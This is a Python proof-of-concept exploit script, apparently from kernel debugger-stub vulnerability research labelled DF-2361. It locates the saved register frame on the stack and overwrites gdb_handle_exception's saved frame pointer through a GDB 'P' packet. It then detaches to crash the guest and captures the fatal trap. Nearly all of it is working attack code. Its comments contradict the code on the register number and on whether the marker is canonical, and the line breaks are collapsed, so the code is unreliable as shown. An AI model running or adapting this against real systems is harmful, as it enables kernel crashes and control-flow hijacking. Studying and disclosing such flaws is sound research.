DF-2361 / poc2361rip.py
#!/usr/bin/env python3 -u # poc2361rip.py -- DF-2361 destructive proof: P regno 19 (offset +152) lands # on gdb_handle_exception's SAVED RBP (frame autopsy showed A+152 holds a # stack pointer; A+208 holds the return address into kdb_trap). # # We overwrite the saved rbp with a non-canonical marker 0x4141414141414141 # and detach ('D'): gdb_handle_exception returns into kdb_trap with a # corrupted frame pointer; kdb_trap's next [rbp+off] access takes a # page/general protection fault with the marker address in the fault VA / # register state -- control-flow-relevant stack corruption demonstrated. # # The guest is expected to die (Fatal trap / panic); capture it, then reset. import sys, os, time, json sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from rig236 import Rig, ADDRS, hx RET = ADDRS["kdb_call_ret"] R = {} rig = Rig("poc2361rip", "/tmp/opencode/df2361rip-raw.log") p = rig.p try: t05 = rig.enter_stub() def le(h): return int.from_bytes(bytes.fromhex(h), "little") rsp, rip, rbp = le(t05["07"]), le(t05["10"]), le(t05["06"]) base = (rsp - 0x800) & ~7 blob = p.read_mem(base, 0x880) A = None for off in range(0, len(blob) - 152, 8): if int.from_bytes(blob[off + 128:off + 136], "little") == rip and \ int.from_bytes(blob[off + 56:off + 64], "little") == rsp and \ int.from_bytes(blob[off + 48:off + 56], "little") == rbp: A = base + off break if A is None: print("[!] registers not located"); rig.detach(); sys.exit(2) print("[+] ®isters = 0x%x" % A) above = p.read_mem(A + 152, 0x40) for i in range(0, 0x40, 8): v = int.from_bytes(above[i:i + 8], "little") tag = "" if v == RET: tag = " <-- return address into kdb_trap" if abs(v - rsp) < 0x1000: tag += " (stack ptr)" print(" A+%d: 0x%016x%s" % (152 + i, v, tag)) rbp_slot_val = int.from_bytes(above[0:8], "little") R["slot152"] = hex(rbp_slot_val) # overwrite saved rbp (A+152) with non-canonical marker r = p.pkt("P13=4141414141414141".replace("4141414141414141","0000414141414141")) # canonical unmapped R["P19_reply"] = r print("[+] P19 (A+152 = saved rbp slot) <- 0x0000414141414141 (canonical, unmapped): reply=%r" % r) # detach: gdb_handle_exception returns; epilogue pops corrupt rbp print("[+] sending D -- expecting Fatal trap with 0x41414141... in fault state") p.pkt("D", timeout=8, expect_reply=False) # capture the crash output m = p.wait(r"Fatal trap|panic|0x41414141|Uptime|db>", 40) time.sleep(5) p.pump() got = bytes(p.buf).decode(errors="replace") R["crash_seen"] = bool(m) R["crash_snippet"] = got[-1200:] print("[%s] crash output captured: %s" % ("+" if m else "-", m.group(0) if m else "NONE")) print(got[-1200:]) except Exception as e: import traceback traceback.print_exc() finally: try: rig.p.close() except Exception: pass print("[RESULT] " + json.dumps(R)) sys.exit(0 if R.get("crash_seen") else 1) |